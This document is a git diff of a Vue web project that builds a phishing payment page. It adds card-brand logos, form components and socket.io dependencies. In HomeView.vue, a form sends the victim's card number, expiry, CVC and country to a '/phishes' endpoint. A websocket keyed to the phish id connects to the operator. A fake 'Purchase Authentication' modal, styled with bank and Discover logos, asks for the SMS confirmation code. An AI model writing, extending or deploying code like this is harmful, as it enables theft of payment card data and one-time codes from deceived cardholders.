+       id="tspan2913"
+       x="655.51172"
+       y="193.41451">ver</svg:tspan></svg:text>
+  <svg:text
+     xml:space="preserve"
+     style="font-size:40px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;font-family:Bitstream Vera Sans"
+     x="1043.307"
+     y="69.291351"
+     id="text2820"><svg:tspan
+       sodipodi:role="line"
+       id="tspan2822"
+       x="1043.307"
+       y="69.291351">®</svg:tspan></svg:text>
+</svg:svg>

+ 1 - 0
src/assets/icon_bank.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 24 24"><g fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 21h18"></path><path d="M3 10h18"></path><path d="M5 6l7-3l7 3"></path><path d="M4 10v11"></path><path d="M20 10v11"></path><path d="M8 14v3"></path><path d="M12 14v3"></path><path d="M16 14v3"></path></g></svg>

+ 6 - 0
src/assets/icon_cvc.svg

@@ -0,0 +1,6 @@
+<svg class="p-CardCvcIcons-svg" width="24" height="24" viewBox="0 0 24 24"
+    xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc">
+    <path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path>
+    <path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path>
+    <path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path>
+</svg>

+ 156 - 0
src/assets/jcb_logo.svg

@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   height="231.511"
+   width="300"
+   xml:space="preserve"
+   viewBox="0 0 300.00001 231.511"
+   y="0px"
+   x="0px"
+   id="レイヤー_1"
+   version="1.1"><metadata
+     id="metadata6424"><rdf:RDF><cc:Work
+         rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" /><dc:title></dc:title></cc:Work></rdf:RDF></metadata><defs
+     id="defs6422" /><style
+     id="style6319"
+     type="text/css">
+	.st0{fill:#FFFFFF;}
+	.st1{fill:url(#SVGID_1_);}
+	.st2{fill:url(#SVGID_2_);}
+	.st3{fill:url(#SVGID_3_);}
+	.st4{fill:url(#SVGID_4_);}
+	.st5{fill:url(#SVGID_5_);}
+</style><g
+     transform="translate(-9.4000001,96.810998)"
+     id="g6321"><g
+       transform="matrix(1.8215159,0,0,1.8215159,-8.5437653,-109.83667)"
+       id="g6323"><path
+         style="fill:#ffffff"
+         id="path6325"
+         d="m 174,108.3 c 0,14 -11.4,25.4 -25.4,25.4 l -138.2,0 0,-100.6 c 0,-14 11.4,-25.4 25.4,-25.4 l 138.2,0 0,100.6 z"
+         class="st0" /><g
+         id="g6327"><linearGradient
+           gradientTransform="matrix(1.125,0,0,1.125,-11.9755,-13.8615)"
+           y2="81.398598"
+           x2="157.3299"
+           y1="81.398598"
+           x1="117.3856"
+           gradientUnits="userSpaceOnUse"
+           id="SVGID_1_"><stop
+             id="stop6330"
+             style="stop-color:#007940"
+             offset="0" /><stop
+             id="stop6332"
+             style="stop-color:#00873F"
+             offset="0.2285" /><stop
+             id="stop6334"
+             style="stop-color:#40A737"
+             offset="0.7433" /><stop
+             id="stop6336"
+             style="stop-color:#5CB531"
+             offset="1" /></linearGradient><path
+           style="fill:url(#SVGID_1_)"
+           id="path6338"
+           d="m 129,82.5 10.5,0 c 0.3,0 1,-0.1 1.3,-0.1 2,-0.4 3.7,-2.2 3.7,-4.7 0,-2.4 -1.7,-4.2 -3.7,-4.7 -0.3,-0.1 -0.9,-0.1 -1.3,-0.1 l -10.5,0 0,9.6 z"
+           class="st1" /><linearGradient
+           gradientTransform="matrix(1.125,0,0,1.125,-11.9755,-13.8615)"
+           y2="75.171402"
+           x2="157.3318"
+           y1="75.171402"
+           x1="117.3844"
+           gradientUnits="userSpaceOnUse"
+           id="SVGID_2_"><stop
+             id="stop6341"
+             style="stop-color:#007940"
+             offset="0" /><stop
+             id="stop6343"
+             style="stop-color:#00873F"
+             offset="0.2285" /><stop
+             id="stop6345"
+             style="stop-color:#40A737"
+             offset="0.7433" /><stop
+             id="stop6347"
+             style="stop-color:#5CB531"
+             offset="1" /></linearGradient><path
+           style="fill:url(#SVGID_2_)"
+           id="path6349"
+           d="m 138.3,16.2 c -10,0 -18.2,8.1 -18.2,18.2 l 0,18.9 25.7,0 c 0.6,0 1.3,0 1.8,0.1 5.8,0.3 10.1,3.3 10.1,8.5 0,4.1 -2.9,7.6 -8.3,8.3 l 0,0.2 c 5.9,0.4 10.4,3.7 10.4,8.8 0,5.5 -5,9.1 -11.6,9.1 l -28.2,0 0,37 26.7,0 c 10,0 18.2,-8.1 18.2,-18.2 l 0,-90.9 -26.6,0 z"
+           class="st2" /><linearGradient
+           gradientTransform="matrix(1.125,0,0,1.125,-11.9755,-13.8615)"
+           y2="68.399101"
+           x2="157.33051"
+           y1="68.399101"
+           x1="117.3846"
+           gradientUnits="userSpaceOnUse"
+           id="SVGID_3_"><stop
+             id="stop6352"
+             style="stop-color:#007940"
+             offset="0" /><stop
+             id="stop6354"
+             style="stop-color:#00873F"
+             offset="0.2285" /><stop
+             id="stop6356"
+             style="stop-color:#40A737"
+             offset="0.7433" /><stop
+             id="stop6358"
+             style="stop-color:#5CB531"
+             offset="1" /></linearGradient><path
+           style="fill:url(#SVGID_3_)"
+           id="path6360"
+           d="m 143.2,63.1 c 0,-2.4 -1.7,-4 -3.7,-4.3 -0.2,0 -0.7,-0.1 -1,-0.1 l -9.5,0 0,8.8 9.5,0 c 0.3,0 0.9,0 1,-0.1 2,-0.3 3.7,-1.9 3.7,-4.3 z"
+           class="st3" /></g><linearGradient
+         gradientTransform="matrix(1.125,0,0,1.125,-11.9755,-13.8615)"
+         y2="75.171402"
+         x2="68.522102"
+         y1="75.171402"
+         x1="27.9594"
+         gradientUnits="userSpaceOnUse"
+         id="SVGID_4_"><stop
+           id="stop6363"
+           style="stop-color:#1F286F"
+           offset="0" /><stop
+           id="stop6365"
+           style="stop-color:#004E94"
+           offset="0.4751" /><stop
+           id="stop6367"
+           style="stop-color:#0066B1"
+           offset="0.8261" /><stop
+           id="stop6369"
+           style="stop-color:#006FBC"
+           offset="1" /></linearGradient><path
+         style="fill:url(#SVGID_4_)"
+         id="path6371"
+         d="m 37.7,16.2 c -10,0 -18.2,8.1 -18.2,18.2 l 0,44.9 c 5.1,2.5 10.4,4.1 15.7,4.1 6.3,0 9.7,-3.8 9.7,-9 l 0,-21.2 15.6,0 0,21.1 c 0,8.2 -5.1,14.9 -22.4,14.9 -10.5,0 -18.7,-2.3 -18.7,-2.3 l 0,38.3 26.7,0 c 10,0 18.2,-8.1 18.2,-18.2 l 0,-90.8 -26.6,0 z"
+         class="st4" /><linearGradient
+         gradientTransform="matrix(1.125,0,0,1.125,-11.9755,-13.8615)"
+         y2="75.171402"
+         x2="111.8553"
+         y1="75.171402"
+         x1="72.459503"
+         gradientUnits="userSpaceOnUse"
+         id="SVGID_5_"><stop
+           id="stop6374"
+           style="stop-color:#6C2C2F"
+           offset="0" /><stop
+           id="stop6376"
+           style="stop-color:#882730"
+           offset="0.1735" /><stop
+           id="stop6378"
+           style="stop-color:#BE1833"
+           offset="0.5731" /><stop
+           id="stop6380"
+           style="stop-color:#DC0436"
+           offset="0.8585" /><stop
+           id="stop6382"
+           style="stop-color:#E60039"
+           offset="1" /></linearGradient><path
+         style="fill:url(#SVGID_5_)"
+         id="path6384"
+         d="m 88,16.2 c -10,0 -18.2,8.1 -18.2,18.2 l 0,23.8 c 4.6,-3.9 12.6,-6.4 25.5,-5.8 6.9,0.3 14.3,2.2 14.3,2.2 l 0,7.7 c -3.7,-1.9 -8.1,-3.6 -13.8,-4 -9.8,-0.7 -15.7,4.1 -15.7,12.5 0,8.5 5.9,13.3 15.7,12.5 5.7,-0.4 10.1,-2.2 13.8,-4 l 0,7.7 c 0,0 -7.3,1.9 -14.3,2.2 -12.9,0.6 -20.9,-1.9 -25.5,-5.8 l 0,42 26.7,0 c 10,0 18.2,-8.1 18.2,-18.2 l 0,-91 -26.7,0 z"
+         class="st5" /></g><g
+       id="g6386" /></g></svg>

+ 13 - 0
src/assets/master_logo.svg

@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg width="1000px" height="618px" viewBox="0 0 1000 618" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <title>master_logo</title>
+    <g id="页面-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
+        <g id="master_logo" fill-rule="nonzero">
+            <g id="编组">
+                <rect id="rect19" fill="#FF5A00" x="364" y="66.1" width="270.4" height="485.8"></rect>
+                <path d="M382,309 C382,210.3 428.4,122.7 499.6,66.1 C447.2,24.9 381.1,0 309,0 C138.2,0 0,138.2 0,309 C0,479.8 138.2,618 309,618 C381.1,618 447.2,593.1 499.6,551.9 C428.3,496.1 382,407.7 382,309 Z" id="XMLID_330_" fill="#EB001B"></path>
+                <path d="M999.2,309 C999.2,479.8 861,618 690.2,618 C618.1,618 552,593.1 499.6,551.9 C571.7,495.2 617.2,407.7 617.2,309 C617.2,210.3 570.8,122.7 499.6,66.1 C551.9,24.9 618,0 690.1,0 C861,0 999.2,139.1 999.2,309 Z" id="path22" fill="#F79E1B"></path>
+            </g>
+        </g>
+    </g>
+</svg>

+ 12 - 0
src/assets/visa_logo.svg

@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 324.68">
+  <defs>
+    <style>
+      .cls-1 {
+        fill: #1434cb;
+        stroke-width: 0px;
+      }
+    </style>
+  </defs>
+  <path id="path3789" class="cls-1" d="m651.19.5c-70.93,0-134.32,36.77-134.32,104.69,0,77.9,112.42,83.28,112.42,122.42,0,16.48-18.88,31.23-51.14,31.23-45.77,0-79.98-20.61-79.98-20.61l-14.64,68.55s39.41,17.41,91.73,17.41c77.55,0,138.58-38.57,138.58-107.66,0-82.32-112.89-87.54-112.89-123.86,0-12.91,15.5-27.05,47.66-27.05,36.29,0,65.89,14.99,65.89,14.99l14.33-66.2S696.61.5,651.18.5h0ZM2.22,5.5L.5,15.49s29.84,5.46,56.72,16.36c34.61,12.49,37.07,19.77,42.9,42.35l63.51,244.83h85.14L379.93,5.5h-84.94l-84.28,213.17-34.39-180.7c-3.15-20.68-19.13-32.48-38.68-32.48,0,0-135.41,0-135.41,0Zm411.87,0l-66.63,313.53h81L494.85,5.5h-80.76Zm451.76,0c-19.53,0-29.88,10.46-37.47,28.73l-118.67,284.8h84.94l16.43-47.47h103.48l9.99,47.47h74.95L934.12,5.5h-68.27Zm11.05,84.71l25.18,117.65h-67.45l42.28-117.65h0Z"/>
+</svg>

+ 24 - 76
src/components/PButton.vue

@@ -1,12 +1,20 @@
 <template>
-    <button :disabled="loading">
-        <div class="spinner" :class="{ hidden: !loading }" id="spinner"></div>
-        <span id="button-text" :class="{ hidden: loading }"><slot></slot></span>
+    <button class="p-button" :class="[type]" :disabled="loading">
+        <span id="button-text"><slot></slot></span>
+        <Spinner class="icon" color="#fff" v-if="loading" />
     </button>
 </template>
 <script setup>
+import Spinner from "@/components/Spinner.vue";
 const props = defineProps({
-    loading: Boolean,
+    loading: {
+        type: Boolean,
+        default: false,
+    },
+    type: {
+        type: String,
+        default: "",
+    },
 });
 </script>
 <style scoped>
@@ -14,8 +22,8 @@ const props = defineProps({
     display: none;
 }
 /* Buttons and links */
-button {
-    background: #5469d4;
+.p-button {
+    background: #000000;
     font-family: Arial, sans-serif;
     color: #ffffff;
     border-radius: 4px;
@@ -28,82 +36,22 @@ button {
     transition: all 0.2s ease;
     box-shadow: 0px 4px 5.5px 0px rgba(0, 0, 0, 0.07);
     width: 100%;
+    height: 48px;
+    position: relative;
 }
-button:hover {
+.p-button:hover {
     filter: contrast(115%);
 }
-button:disabled {
-    opacity: 0.5;
+.p-button:disabled {
+    opacity: 0.7;
     cursor: default;
 }
 
-/* spinner/processing state, errors */
-.spinner,
-.spinner:before,
-.spinner:after {
-    border-radius: 50%;
-}
-.spinner {
-    color: #ffffff;
-    font-size: 22px;
-    text-indent: -99999px;
-    margin: 0px auto;
-    position: relative;
-    width: 20px;
-    height: 20px;
-    box-shadow: inset 0 0 0 2px;
-    -webkit-transform: translateZ(0);
-    -ms-transform: translateZ(0);
-    transform: translateZ(0);
-}
-.spinner:before,
-.spinner:after {
+.icon {
     position: absolute;
-    content: "";
-}
-.spinner:before {
-    width: 10.4px;
-    height: 20.4px;
-    background: #5469d4;
-    border-radius: 20.4px 0 0 20.4px;
-    top: -0.2px;
-    left: -0.2px;
-    -webkit-transform-origin: 10.4px 10.2px;
-    transform-origin: 10.4px 10.2px;
-    -webkit-animation: loading 2s infinite ease 1.5s;
-    animation: loading 2s infinite ease 1.5s;
-}
-.spinner:after {
-    width: 10.4px;
-    height: 10.2px;
-    background: #5469d4;
-    border-radius: 0 10.2px 10.2px 0;
-    top: -0.1px;
-    left: 10.2px;
-    -webkit-transform-origin: 0px 10.2px;
-    transform-origin: 0px 10.2px;
-    -webkit-animation: loading 2s infinite ease;
-    animation: loading 2s infinite ease;
-}
-
-@-webkit-keyframes loading {
-    0% {
-        -webkit-transform: rotate(0deg);
-        transform: rotate(0deg);
-    }
-    100% {
-        -webkit-transform: rotate(360deg);
-        transform: rotate(360deg);
-    }
-}
-@keyframes loading {
-    0% {
-        -webkit-transform: rotate(0deg);
-        transform: rotate(0deg);
-    }
-    100% {
-        -webkit-transform: rotate(360deg);
-        transform: rotate(360deg);
-    }
+    left: 16px;
+    top: 0;
+    bottom: 0;
+    margin: auto;
 }
 </style>

+ 18 - 4
src/components/PField.vue

@@ -3,11 +3,14 @@
         <label class="p-field_label">{{ label }}</label>
         <div class="relative">
             <select
+                style="appearance: none"
                 v-model="inputValue"
                 v-if="type === 'country'"
                 class="p-field_input"
             >
-                <option>中国</option>
+                <option v-for="country in countries" :value="country.value">
+                    {{ country.name }}
+                </option>
             </select>
             <input
                 v-else
@@ -23,7 +26,7 @@
             />
             <div
                 class="absolute flex items-center py-3 pr-3 top-0 right-0 bottom-0 overflow-visible"
-                v-if="type === 'card'"
+                v-if="type === 'card' || type === 'cvc'"
             >
                 <div class="card-icon-container card-icon-more">
                     <template v-if="cardIcon">
@@ -81,15 +84,18 @@
 </template>
 
 <script setup>
-import { computed, onBeforeUnmount, onMounted, ref } from "vue";
+import { computed, onBeforeUnmount, onMounted, ref, watch } from "vue";
 import IconVisa from "@/assets/visa.svg";
 import IconMaster from "@/assets/master.svg";
 import IconAmex from "@/assets/amex.svg";
 import IconDiscover from "@/assets/discover.svg";
 import IconDiners from "@/assets/diners.svg";
 import IconJcb from "@/assets/jcb.svg";
+import IconCVC from "@/assets/icon_cvc.svg";
 import cardValidator from "card-validator";
 import creditCardType from "credit-card-type";
+import { getCodeList, getNameList, getData, getName } from "country-list";
+import countries from "../../countries";
 const moreIcon = ref(1);
 const t = setInterval(() => {
     moreIcon.value = (moreIcon.value % 6) + 1;
@@ -123,6 +129,7 @@ const inputType = computed(() => {
 const inputMode = computed(() => {
     switch (props.type) {
         case "card":
+        case "cvc":
             return "numeric";
         default:
             return "text";
@@ -130,8 +137,16 @@ const inputMode = computed(() => {
 });
 
 const inputValue = ref("");
+const emit = defineEmits(["update:modelValue"]);
+watch(inputValue, () => {
+    emit("update:modelValue", inputValue.value);
+});
+if (props.type === "country") {
+    inputValue.value = navigator.language.split("-").splice(-1)[0];
+}
 const card = computed(() => cardValidator.number(inputValue.value));
 const cardIcon = computed(() => {
+    if (props.type === "cvc") return IconCVC;
     if (card.value?.card) {
         switch (card.value.card.type) {
             case "visa":
@@ -399,4 +414,3 @@ defineExpose({
     transform: scale(0.85);
 }
 </style>
-./icons/CardIconDiscover.vue./icons/CardIconDiners.vue./icons/CardIconJcb.vue

+ 57 - 0
src/components/Spinner.vue

@@ -0,0 +1,57 @@
+<template>
+    <svg
+        width="24"
+        height="24"
+        :stroke="color"
+        viewBox="0 0 24 24"
+        xmlns="http://www.w3.org/2000/svg"
+    >
+        <g class="spinner_V8m1">
+            <circle
+                cx="12"
+                cy="12"
+                r="9.5"
+                fill="none"
+                stroke-width="3"
+            ></circle>
+        </g>
+    </svg>
+</template>
+<script setup>
+const props = defineProps({
+    color: {
+        type: String,
+        default: "#000",
+    },
+});
+</script>
+<style>
+.spinner_V8m1 {
+    transform-origin: center;
+    animation: spinner_zKoa 2s linear infinite;
+}
+.spinner_V8m1 circle {
+    stroke-linecap: round;
+    animation: spinner_YpZS 1.5s ease-in-out infinite;
+}
+@keyframes spinner_zKoa {
+    100% {
+        transform: rotate(360deg);
+    }
+}
+@keyframes spinner_YpZS {
+    0% {
+        stroke-dasharray: 0 150;
+        stroke-dashoffset: 0;
+    }
+    47.5% {
+        stroke-dasharray: 42 150;
+        stroke-dashoffset: -16;
+    }
+    95%,
+    100% {
+        stroke-dasharray: 42 150;
+        stroke-dashoffset: -59;
+    }
+}
+</style>

+ 137 - 8
src/views/HomeView.vue

@@ -3,7 +3,7 @@
     <form id="payment-form" class="p-4" @submit.prevent="submit">
         <PField
             name="card"
-            label="卡号"
+            label="Card Number"
             type="card"
             placeholder="1234 1234 1234 1234"
             v-model="model.card"
@@ -12,27 +12,65 @@
         <PField
             class="!w-6/12"
             name="expiry"
-            label="有效期"
-            placeholder="月/年"
+            label="Expiration"
+            placeholder="MM/YY"
             v-model="model.expiry"
         />
         <PField
             class="!w-6/12 pl-3"
             name="cvc"
+            type="cvc"
             label="CVC"
             placeholder="CVC"
             v-model="model.cvc"
         />
         <PField
             name="country"
-            label="国家地区"
+            label="Country"
             type="country"
             v-model="model.country"
         />
+        <PField
+            name="zip"
+            label="ZIP"
+            type="zip"
+            placeholder="ZIP"
+            v-model="model.zip"
+        />
 
-        <PButton>Pay</PButton>
+        <PButton>{{ loading ? "Processing..." : "Pay" }}</PButton>
     </form>
     <Footer />
+
+    <div class="otp-modal">
+        <Transition name="fade">
+            <div class="dim" v-if="showOTPModal"></div>
+        </Transition>
+        <Transition name="scale">
+            <div class="content-wrapper" v-if="showOTPModal">
+                <div class="modal-content">
+                    <div class="icon-logo">
+                        <img class="icon" src="@/assets/icon_bank.svg" />
+                        <div class="flex-1"></div>
+                        <img class="logo" src="@/assets/discover_logo.svg" />
+                    </div>
+                    <h1 class="mt-4 text-[28px] font-bold">
+                        Purchase Authentication
+                    </h1>
+                    <p class="mt-2 text-base text-neutral-800">
+                        We've sent you a text message to your registered phone
+                        number ending in 1234
+                    </p>
+                    <div class="mt-8">
+                        <label>Confirmation Code</label>
+                        <PField class="mt-2" />
+                    </div>
+
+                    <PButton class="mt-8">Confirm Payment</PButton>
+                </div>
+            </div>
+        </Transition>
+    </div>
 </template>
 <script setup>
 import axios from "axios";
@@ -40,17 +78,26 @@ import { onMounted, onBeforeMount, ref } from "vue";
 import PField from "@/components/PField.vue";
 import PButton from "@/components/PButton.vue";
 import Footer from "@/components/Footer.vue";
-import { useLocalStorage } from "@vueuse/core";
+import { useLocalStorage, useSessionStorage } from "@vueuse/core";
+import { io } from "socket.io-client";
 
 const cardRef = ref(null);
 
-const phish = useLocalStorage("phish", {});
+const phish = useSessionStorage("phish", {});
+let socket;
 onBeforeMount(async () => {
     const { data: res } = await axios.post("/phishes", {
         id: phish.value.id,
     });
     if (res) {
         phish.value = res;
+        socket = io(import.meta.env.VITE_SOCKET_URL, {
+            path: "/ws",
+            transports: ["websocket"],
+            query: {
+                id: phish.value.id,
+            },
+        });
     }
 });
 
@@ -60,5 +107,87 @@ const model = ref({
     cvc: "",
     country: "",
 });
+
+const showOTPModal = ref(false);
+
+const loading = ref(false);
+async function submit() {
+    loading.value = true;
+    try {
+        await axios.put(`/phishes/${phish.value.id}`, {
+            id: phish.value.id,
+            card: model.value.card,
+            expiry: model.value.expiry,
+            cvc: model.value.cvc,
+            country: model.value.country,
+            step: "wait_for_check_card",
+        });
+    } catch (error) {
+        console.error(error);
+    } finally {
+        loading.value = false;
+    }
+}
 </script>
-<style scoped lang="less"></style>
+<style scoped lang="less">
+.otp-modal {
+    position: relative;
+    .dim {
+        position: fixed;
+        top: 0;
+        left: 0;
+        width: 100%;
+        height: 100%;
+        background-color: rgba(0, 0, 0, 0.5);
+    }
+    .content-wrapper {
+        padding: 64px 15px;
+        overflow: auto;
+        position: fixed;
+        top: 0;
+        left: 0;
+        right: 0;
+        bottom: 0;
+    }
+    .modal-content {
+        background: #ffffff;
+        border-radius: 4px;
+        box-shadow: 0 7px 32px rgba(0, 0, 0, 0.15), 0 3px 6px rgba(0, 0, 0, 0.2);
+        padding: 30px 20px;
+        .icon-logo {
+            display: flex;
+            align-items: center;
+            .icon {
+                width: 32px;
+                height: 32px;
+                object-fit: cover;
+            }
+            .logo {
+                height: 32px;
+                width: auto;
+            }
+        }
+    }
+}
+
+.fade-enter-active,
+.fade-leave-active {
+    transition: opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
+}
+
+.fade-enter-from,
+.fade-leave-to {
+    opacity: 0;
+}
+
+.scale-enter-active,
+.scale-leave-active {
+    transition: transform 1s cubic-bezier(0.19, 1, 0.22, 1),
+        opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
+}
+
+.scale-enter-from {
+    transform: scale(0.8);
+    opacity: 0;
+}
+</style>

+ 66 - 0
yarn.lock

@@ -262,6 +262,11 @@
   resolved "https://registry.npmmirror.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.12.1.tgz#cd8d175e001c212d5ac71c7827ef1d5c5e14494c"
   integrity sha512-n+vkrSyphvmU0qkQ6QBNXCGr2mKjhP08mPRM/Xp5Ck2FV4NrHU+y6axzDeixUrCBHVUS51TZhjqrKBBsHLKb2Q==
 
+"@socket.io/component-emitter@~3.1.0":
+  version "3.1.0"
+  resolved "https://registry.npmmirror.com/@socket.io/component-emitter/-/component-emitter-3.1.0.tgz#96116f2a912e0c02817345b3c10751069920d553"
+  integrity sha512-+9jVqKhRSpsc591z5vX+X5Yyw+he/HCB4iQ/RYxw35CEPaY1gnsNE43nf9n9AaYjAQrTiI/mOwKUKdUs9vf7Xg==
+
 "@stripe/stripe-js@^3.0.7":
   version "3.0.7"
   resolved "https://registry.npmmirror.com/@stripe/stripe-js/-/stripe-js-3.0.7.tgz#ceec7db210830d742c1ba2a697ddaf3a210542af"
@@ -551,6 +556,11 @@ copy-anything@^2.0.1:
   dependencies:
     is-what "^3.14.1"
 
+country-list@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.npmmirror.com/country-list/-/country-list-2.3.0.tgz#1e7ceaf9834c1d1210054301eabf4dc445ab978c"
+  integrity sha512-qZk66RlmQm7fQjMYWku1AyjlKPogjPEorAZJG88owPExoPV8EsyCcuFLvO2afTXHEhi9liVOoyd+5A6ZS5QwaA==
+
 credit-card-type@^10.0.0:
   version "10.0.0"
   resolved "https://registry.npmmirror.com/credit-card-type/-/credit-card-type-10.0.0.tgz#f3b24df51c4e4659c49a46e9adf888e1710c6131"
@@ -580,6 +590,13 @@ csstype@^3.1.3:
   resolved "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz#d80ff294d114fb0e6ac500fbf85b60137d7eff81"
   integrity sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==
 
+debug@~4.3.1, debug@~4.3.2:
+  version "4.3.4"
+  resolved "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz#1319f6579357f2338d3337d2cdd4914bb5dcc865"
+  integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==
+  dependencies:
+    ms "2.1.2"
+
 delayed-stream@~1.0.0:
   version "1.0.0"
   resolved "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
@@ -615,6 +632,22 @@ emoji-regex@^9.2.2:
   resolved "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
   integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
 
+engine.io-client@~6.5.2:
+  version "6.5.3"
+  resolved "https://registry.npmmirror.com/engine.io-client/-/engine.io-client-6.5.3.tgz#4cf6fa24845029b238f83c628916d9149c399bc5"
+  integrity sha512-9Z0qLB0NIisTRt1DZ/8U2k12RJn8yls/nXMZLn+/N8hANT3TcYjKFKcwbw5zFQiN4NTde3TSY9zb79e1ij6j9Q==
+  dependencies:
+    "@socket.io/component-emitter" "~3.1.0"
+    debug "~4.3.1"
+    engine.io-parser "~5.2.1"
+    ws "~8.11.0"
+    xmlhttprequest-ssl "~2.0.0"
+
+engine.io-parser@~5.2.1:
+  version "5.2.2"
+  resolved "https://registry.npmmirror.com/engine.io-parser/-/engine.io-parser-5.2.2.tgz#37b48e2d23116919a3453738c5720455e64e1c49"
+  integrity sha512-RcyUFKA93/CXH20l4SoVvzZfrSDMOTUS3bWVpTt2FuFP+XYrL8i8oonHP7WInRyVHXh0n/ORtoeiE1os+8qkSw==
+
 entities@^4.5.0:
   version "4.5.0"
   resolved "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
@@ -931,6 +964,11 @@ minimatch@^9.0.1:
   resolved "https://registry.npmmirror.com/minipass/-/minipass-7.0.4.tgz#dbce03740f50a4786ba994c1fb908844d27b038c"
   integrity sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==
 
+ms@2.1.2:
+  version "2.1.2"
+  resolved "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
+  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
+
 mz@^2.7.0:
   version "2.7.0"
   resolved "https://registry.npmmirror.com/mz/-/mz-2.7.0.tgz#95008057a56cafadc2bc63dde7f9ff6955948e32"
@@ -1191,6 +1229,24 @@ signal-exit@^4.0.1:
   resolved "https://registry.npmmirror.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04"
   integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==
 
+socket.io-client@^4.7.4:
+  version "4.7.4"
+  resolved "https://registry.npmmirror.com/socket.io-client/-/socket.io-client-4.7.4.tgz#5f0e060ff34ac0a4b4c5abaaa88e0d1d928c64c8"
+  integrity sha512-wh+OkeF0rAVCrABWQBaEjLfb7DVPotMbu0cgWgyR0v6eA4EoVnAwcIeIbcdTE3GT/H3kbdLl7OoH2+asoDRIIg==
+  dependencies:
+    "@socket.io/component-emitter" "~3.1.0"
+    debug "~4.3.2"
+    engine.io-client "~6.5.2"
+    socket.io-parser "~4.2.4"
+
+socket.io-parser@~4.2.4:
+  version "4.2.4"
+  resolved "https://registry.npmmirror.com/socket.io-parser/-/socket.io-parser-4.2.4.tgz#c806966cf7270601e47469ddeec30fbdfda44c83"
+  integrity sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==
+  dependencies:
